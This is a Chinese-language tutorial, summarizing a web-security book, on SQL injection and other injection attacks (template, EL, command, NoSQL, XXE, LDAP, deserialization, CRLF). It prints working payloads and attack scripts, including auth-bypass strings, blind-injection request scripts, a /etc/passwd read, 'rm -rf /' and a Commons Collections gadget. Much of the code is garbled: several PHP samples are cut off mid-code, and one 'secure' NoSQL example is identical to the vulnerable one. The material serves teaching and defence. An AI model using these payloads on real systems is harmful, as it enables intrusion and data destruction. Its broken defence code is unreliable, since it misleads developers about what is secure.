目录
引言
一、SQL 注入基础概念
定义
原理
二、SQL 注入类型
1.Union 注入
2.堆叠注入
3.二次注入
4.盲注
5.宽字节注入
三、SQL 注入攻击技巧
1.常见攻击技巧
2.利用函数和系统存储过程
3.绕过防护机制
四、SQL 注入防御方法
1.使用预编译语句
2.存储过程
3.输入验证和过滤
4.最小权限原则
5.数据库配置优化
五、其他相关要点
1.批量赋值漏洞
2.不同数据库差异
六、其他注入攻击类型
1.模板注入
原理
示例
防御
2.表达式语言注入(EL 注入)
原理
示例
防御
3.命令注入
原理
示例
防御
4.NoSQL 注入
原理
示例
防御
5.XML 注入
原理
示例
防御
6.代码注入
原理
示例
防御
7.LDAP 注入
原理
示例
防御
8.反序列化注入
原理
示例
防御
9.CRLF 注入
原理
示例
防御
小结
在互联网蓬勃发展的当下,Web 应用已经深度融入人们生活的各个方面。然而,随之而来的安全问题也愈发突出,注入攻击作为 Web 安全领域的一大 “顽疾”,给众多网站和应用带来了严重威胁。吴翰清在《白帽子讲 Web 安全》中,对注入攻击展开了全面且深入的讲解,从 SQL 注入到多种其他类型的注入攻击,详细阐述了其原理、攻击方式与防御策略。接下来,让我们系统梳理这些知识,助力读者提升对注入攻击的认知与应对能力。
SQL 注入指攻击者将恶意 SQL 语句插入到应用程序的输入参数中,致使应用程序在与数据库交互时执行非预期的 SQL 命令。借助这种手段,攻击者能够获取、修改或删除数据库中的数据,甚至实现对数据库服务器的控制,严重危及数据安全。
当应用程序直接使用用户输入构造 SQL 查询语句,且未对输入进行有效验证和过滤时,就为 SQL 注入攻击埋下了隐患。攻击者可利用特殊字符和 SQL 语法,改变 SQL 语句的原有逻辑。以登录表单为例,下面是一段存在 SQL 注入漏洞的 PHP 代码:
0) {
echo "登录成功";
} else {
echo "登录失败";
}
mysqli_close($conn);
?>
攻击者在用户名输入框中输入 “admin' OR '1'='1”,密码随意输入,即可绕过身份验证机制。
攻击者使用UNION关键字合并多个SELECT查询结果,借此获取额外的数据库信息。以 MySQL 数据库为例,以下代码模拟 Union 注入攻击场景:
import requests
url = "http://example.com/login"
data = {
"username": "admin' UNION SELECT version(), user()--",
"password": ""
}
response = requests.post(url, data=data)
print(response.text)
上述代码通过 Union 注入获取了数据库版本和当前用户信息。
堆叠注入允许在 SQL 语句中执行多条命令,命令之间用分号分隔。在支持堆叠查询的数据库中,以 MySQL 为例,下面的 Python 代码模拟堆叠注入删除users表:
import mysql.connector
conn = mysql.connector.connect(
host="localhost",
user="root",
password="password",
database="testdb"
)
cursor = conn.cursor()
sql = "; DROP TABLE users;"
cursor.execute(sql)
conn.commit()
cursor.close()
conn.close()
用户输入的数据先被存储在数据库中,当该数据被再次取出并用于构造 SQL 语句时,就可能引发二次注入。以下是一段存在二次注入漏洞的 PHP 代码:
0) {
echo "查询成功";
}
mysqli_close($conn);
?>
若用户注册时在username中输入包含恶意 SQL 代码的内容,后续查询时就会触发二次注入。
import requests
url = "http://example.com/check.php"
payload_true = "admin' AND 1=1--"
payload_false = "admin' AND 1=2--"
data_true = {
"username": payload_true,
"password": ""
}
data_false = {
"username": payload_false,
"password": ""
}
response_true = requests.post(url, data=data_true)
response_false = requests.post(url, data=data_false)
if "正常内容" in response_true.text and "正常内容" not in response_false.text:
print("布尔型盲注成功判断")
import requests
import time
url = "http://example.com/check.php"
payload = "admin' AND IF(1=1, SLEEP(5), 1)--"
data = {
"username": payload,
"password": ""
}
start_time = time.time()
response = requests.post(url, data=data)
end_time = time.time()
if end_time - start_time >= 5:
print("延时盲注成功判断")
宽字节注入利用数据库字符编码的特性,绕过基于单字节字符的过滤机制。在 GBK 编码中,一个汉字占两个字节,以 PHP 代码为例展示宽字节注入:
0) {
echo "查询成功";
}
mysqli_close($conn);
?>
攻击者输入 “% df' OR '1'='1”,结合 GBK 编码特性可绕过过滤,实现 SQL 注入。
攻击者利用 SQL 语法特性,如使用注释符(--、#等)注释掉后面的 SQL 代码,改变语句执行逻辑;借助通配符(%)进行模糊查询攻击;通过ORDER BY判断数据库表中的列数,逐步获取数据库结构和数据信息。以下 Python 代码通过ORDER BY判断列数:
import requests
url = "http://example.com/query.php"
for i in range(1, 10):
payload = f"?order=1 ORDER BY {i}"
target_url = url + payload
response = requests.get(target_url)
if response.status_code == 200:
print(f"列数至少为{i}")
else:
break
不同数据库拥有各自的函数和存储过程,攻击者可利用它们获取敏感信息或执行系统命令。在 MySQL 中,攻击者可利用LOAD_FILE函数读取服务器文件;在 SQL Server 中,曾可利用xp_cmdshell存储过程执行系统命令(高版本中该存储过程默认禁用)。以下 Python 代码利用LOAD_FILE读取服务器文件:
import requests
url = "http://example.com/query.php"
payload = f"?data=1 UNION SELECT LOAD_FILE('/etc/passwd')"
target_url = url + payload
response = requests.get(target_url)
print(response.text)
面对 SQL 注入防护措施,如输入过滤,攻击者采用编码(如 URL 编码、十六进制编码)、双写关键字等方式绕过,以达到攻击目的。例如,将SELECT双写为SELSELECTECT绕过简单的关键字过滤。
预编译语句将 SQL 语句的结构和参数分开处理,参数被视为普通数据,而非可执行的 SQL 代码。在 Java 中,使用PreparedStatement;在 PHP 中,利用 PDO(PHP Data Objects)的预编译功能,有效防止 SQL 注入。以下是 Java 使用PreparedStatement防御 SQL 注入的代码:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class Login {
public static void main(String[] args) {
String username = "admin";
String password = "password";
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "root", "password");
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username =? AND password =?")) {
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
System.out.println("登录成功");
} else {
System.out.println("登录失败");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
将 SQL 操作封装在存储过程中,应用程序调用存储过程时只需传入参数,避免直接拼接 SQL 语句。但需注意存储过程本身的安全性,防止在存储过程中出现 SQL 注入漏洞。以下是 MySQL 创建并调用存储过程的示例:
-- 创建存储过程
DELIMITER //
CREATE PROCEDURE LoginProc(IN user VARCHAR(50), IN pass VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = user AND password = pass;
END //
DELIMITER ;
-- 调用存储过程
CALL LoginProc('admin', 'password');
对用户输入的数据进行严格验证,确保其符合预期的数据类型和格式。采用白名单机制,只允许特定的字符和格式通过;对特殊字符(如'、"、;、--等)进行转义或过滤。以下是 PHP 对用户输入进行过滤的示例:
为数据库账户分配最小的权限,避免使用具有过高权限的账户(如root、sa)与数据库连接。不同的应用模块使用不同的数据库账户,降低攻击造成的损失。在 MySQL 中,可以创建具有特定权限的用户:
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT ON testdb.* TO 'app_user'@'localhost';
FLUSH PRIVILEGES;
关闭不必要的数据库功能和服务,如 MySQL 中的LOAD_FILE函数、SQL Server 中的xp_cmdshell存储过程等;及时更新数据库版本,修复已知的安全漏洞。在 MySQL 中,可以通过修改配置文件禁用LOAD_FILE函数。
在使用框架或工具进行数据更新操作时,若对用户输入的参数处理不当,攻击者可通过批量赋值的方式修改多个字段的值,本质上也是一种注入攻击。以 Django 框架为例,以下代码存在批量赋值漏洞:
from django.http import HttpResponse
from django.shortcuts import render
from.models import User
def update_user(request):
if request.method == 'POST':
data = request.POST
User.objects.filter(id=data['id']).update(**data)
return HttpResponse("更新成功")
return render(request, 'update.html')
不同数据库(如 MySQL、Oracle、SQL Server 等)在语法、函数、存储过程、安全机制等方面存在差异,攻击者和防御者都需了解这些差异,以便更好地实施攻击或进行防御。例如,MySQL 和 Oracle 在日期函数的使用上存在明显差异。
当应用程序将用户输入的数据直接嵌入到模板引擎中进行解析和执行时,若未对输入进行安全处理,攻击者可注入恶意模板代码,改变页面的输出或执行任意命令。
在使用 Twig 模板引擎的 PHP 应用中,以下代码存在模板注入漏洞:
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader(__DIR__.'/templates');
$twig = new \Twig\Environment($loader);
$user_input = $_GET['input'];
echo $twig->render('index.html', ['input' => $user_input]);
攻击者输入 “{{7*7}}”,若应用未做防护,服务器会执行该模板表达式并返回结果。
对用户输入进行严格过滤和转义,避免直接将不可信数据插入模板;使用模板引擎的安全模式,限制模板中可执行的操作和函数;对模板变量进行明确的类型定义和范围检查。以下是对 Twig 模板引擎进行安全配置的示例:
$twig = new \Twig\Environment($loader, [
'sandbox' => true,
]);
许多 Web 应用框架使用表达式语言(如 Java 中的 EL、JSP 表达式语言等)来简化页面逻辑和数据展示。攻击者可利用应用对用户输入的表达式语言处理不当,注入恶意表达式,获取敏感信息或控制应用流程。
在 Java Web 应用中,以下 JSP 代码存在 EL 注入漏洞:
<%@ page contentType="text/html; charset=UTF-8" %>
<% String input = request.getParameter("input"); %>
${input}
攻击者输入 “${pageContext.request.getSession ().getServletContext ().getRealPath ('/')}”,可获取服务器的文件系统路径。
对用户输入进行严格验证,不允许包含表达式语言的特殊字符和语法;避免将用户输入直接用于表达式语言的计算,采用白名单机制限制可接受的输入。以下是对用户输入进行验证的 Java 代码:
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.regex.Pattern;
@WebServlet("/check")
public class ELInjectionCheck extends HttpServlet {
private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{.*?}");
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String input = request.getParameter("input");
if (INJECTION_PATTERN.matcher(input).find()) {
response.getWriter().println("输入包含恶意表达式");
} else {
response.getWriter().println("输入合法");
}
}
}
应用程序在执行系统命令时,若将用户输入直接拼接到命令中,且未做安全处理,攻击者可注入额外的命令,让服务器执行非预期的操作,如读取、修改文件,执行系统命令等。
在 PHP 应用中,以下代码存在命令注入漏洞:
攻击者输入 “; rm -rf /”,在原本的ping命令后注入删除根目录的危险命令。
避免直接使用用户输入来构造系统命令;使用安全的函数和方法来执行命令,如在 PHP 中使用escapeshellcmd和escapeshellarg函数对输入进行转义和过滤;对执行命令的函数设置严格的权限和参数限制。以下是使用escapeshellarg防御命令注入的 PHP 代码:
随着 NoSQL 数据库在大规模高并发应用中的广泛使用,若应用对用户输入处理不当,攻击者可利用 NoSQL 查询语法特点,注入恶意查询语句,改变查询逻辑,获取或篡改数据。
以 MongoDB 为例,在处理用户登录请求的 Python 代码中,以下代码存在 NoSQL 注入漏洞:
from pymongo import MongoClient
client = MongoClient("mongodb://localhost:27017/")
db = client["testdb"]
users = db["users"]
username = input("请输入用户名:")
password = input("请输入密码:")
result = users.find_one({"username": username, "password": password})
if result:
print("登录成功")
else:
print("登录失败")
攻击者提交类似 “{"username": "admin", "password": {"$ne": 1}}” 的恶意 JSON 对象,可绕过正常的身份验证逻辑。
使用参数化查询,避免直接拼接用户输入到查询语句中;对用户输入进行严格的类型检查和验证;最小化数据库账户权限。以下是使用参数化查询防御 NoSQL 注入的完整 Python 代码:
from pymongo import MongoClient
client = MongoClient("mongodb://localhost:27017/")
db = client["testdb"]
users = db["users"]
username = input("请输入用户名:")
password = input("请输入密码:")
result = users.find_one({"username": username, "password": password})
safe_result = users.find_one({
"username": username,
"password": password
})
if safe_result:
print("登录成功")
else:
print("登录失败")
当应用程序解析 XML 数据时,若对用户提交的 XML 数据没有进行安全验证和过滤,攻击者可注入恶意的 XML 内容,如恶意的 DTD(文档类型定义)或 XML 实体,导致信息泄露、拒绝服务攻击或服务器端请求伪造(SSRF)等。
在 Java 应用中,使用 DOM 解析 XML 时,以下代码存在 XML 注入漏洞:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class XMLInjection {
public static void main(String[] args) {
String xml = "" +
"]>" +
"&xxe; ";
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new java.io.StringReader(xml));
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻击者通过构造包含恶意 DTD 的 XML 数据,可读取服务器本地文件。
禁用外部实体解析,限制 XML 解析器的功能;对输入的 XML 数据进行严格的验证和过滤,确保其符合预期的格式和内容。以下是禁用外部实体解析,防御 XML 注入的 Java 代码:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class SecureXMLParsing {
public static void main(String[] args) {
String xml = "正常数据 ";
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new java.io.StringReader(xml));
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻击者通过各种手段将恶意代码注入到应用程序的执行环境中,使代码在服务器端执行,从而获取敏感信息或控制服务器。常见于解释型语言环境,如 PHP、Python 等。
在 PHP 应用中,若使用eval函数对用户输入的字符串进行执行,以下代码存在代码注入漏洞:
攻击者输入 “”,可在服务器上执行系统命令。
避免使用可执行用户输入代码的函数;对用户输入进行严格的过滤和验证,不允许包含可执行代码的字符和语法;采用安全的编码实践,如使用安全的函数库和框架。以下是采用正则表达式过滤,防御代码注入的 PHP 代码:
轻量级目录访问协议(LDAP)用于访问和维护分布式目录信息服务。当应用程序使用用户输入构造 LDAP 查询语句时,若未进行安全处理,攻击者可注入恶意的 LDAP 查询条件,绕过身份验证或获取敏感信息。
在 Java 应用中,使用 JNDI 进行 LDAP 查询时,以下代码存在 LDAP 注入漏洞:
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class LDAPInjection {
public static void main(String[] args) {
String username = "admin';(&(objectClass=*))";
String password = "password";
Hashtable env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/dc=example,dc=com");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=" + username + ",dc=example,dc=com");
env.put(Context.SECURITY_CREDENTIALS, password);
try {
DirContext ctx = new InitialDirContext(env);
ctx.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
攻击者通过注入特殊字符,修改查询条件,获取未授权的访问权限。
使用参数化的 LDAP 查询,避免直接拼接用户输入;对用户输入进行严格的过滤和验证,限制特殊字符的使用;遵循 LDAP 安全最佳实践。以下是使用DirContext的search方法进行参数化查询,防御 LDAP 注入的 Java 代码:
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
public class SecureLDAPQuery {
public static void main(String[] args) {
String username = "admin";
String password = "password";
Hashtable env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/dc=example,dc=com");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=" + username + ",dc=example,dc=com");
env.put(Context.SECURITY_CREDENTIALS, password);
try {
DirContext ctx = new InitialDirContext(env);
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
ctx.search("dc=example,dc=com", "cn=" + username, controls);
ctx.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
在 Java、PHP 等语言中,当应用程序对用户输入的序列化数据进行反序列化操作时,若未对数据来源和内容进行安全检查,攻击者可构造恶意的序列化数据,在反序列化过程中执行任意代码。
在 Java 中,利用 Commons Collections 库的反序列化漏洞,以下代码存在反序列化注入风险:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class DeserializationInjection {
public static void main(String[] args) throws Exception {
Map map = new HashMap<>();
map.put("key", "value");
InvokerTransformer transformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
Map maliciousMap = TransformedMap.decorate(map, null, transformer);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(maliciousMap);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}
攻击者通过构造恶意序列化对象,在反序列化时执行系统命令。
对反序列化的数据来源进行严格验证,只接受可信来源的数据;避免在反序列化过程中执行用户可控的代码;更新和修复相关框架和库的漏洞。以下是对输入流进行验证,防御反序列化注入的 Java 代码:
import java.io.*;
public class SecureDeserialization {
public static void main(String[] args) {
try {
FileInputStream fis = new FileInputStream("trusted.ser");
ObjectInputStream ois = new ObjectInputStream(fis) {
@Override
protected Class> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().startsWith("com.example.trusted")) {
throw new InvalidClassException("Invalid class: " + desc.getName());
}
return super.resolveClass(desc);
}
};
Object obj = ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
通过在 HTTP 请求或响应中注入回车(Carriage Return,CR)和换行(Line Feed,LF)字符,攻击者可篡改 HTTP 头信息,实现 Cookie 篡改、缓存投毒、页面重定向等攻击。
在 Java Web 应用中,以下 Servlet 代码存在 CRLF 注入漏洞:
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/vulnerable")
public class CRLFInjectionServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String input = request.getParameter("input");
response.setHeader("Custom-Header", input);
response.getWriter().println("Header set successfully");
}
}
攻击者输入 “%0D%0ASet-Cookie: malicious=value”,可篡改 Cookie 信息。
对用户输入进行严格过滤,禁止包含 CRLF 字符;对 HTTP 头信息进行安全验证和处理,防止被非法篡改。以下是过滤 CRLF 字符,防御 CRLF 注入的 Java 代码:
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.regex.Pattern;
@WebServlet("/secure")
public class SecureServlet extends HttpServlet {
private static final Pattern CRLF_PATTERN = Pattern.compile("[\r\n]");
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String input = request.getParameter("input");
if (CRLF_PATTERN.matcher(input).find()) {
response.getWriter().println("输入包含非法字符");
} else {
response.setHeader("Custom-Header", input);
response.getWriter().println("Header set successfully");
}
}
}
注入攻击形式多样且危害极大,严重威胁着 Web 应用和数据的安全。从传统的 SQL 注入到多种新型注入攻击,攻击者不断寻找应用程序的漏洞,试图窃取数据、破坏系统。防御注入攻击,需要开发者和安全运维人员从多个层面入手,不仅要采用安全的编码实践,如使用预编译语句、进行严格的输入验证,还要对服务器和数据库进行合理配置,遵循最小权限原则,及时更新软件版本。同时,随着技术的发展,注入攻击的手段也在不断演变,我们必须持续关注安全领域的最新动态,不断学习和掌握新的防御技术,提升安全意识,构建全方位的安全防护体系,以应对日益复杂的网络安全挑战,守护 Web 应用和数据的安全 。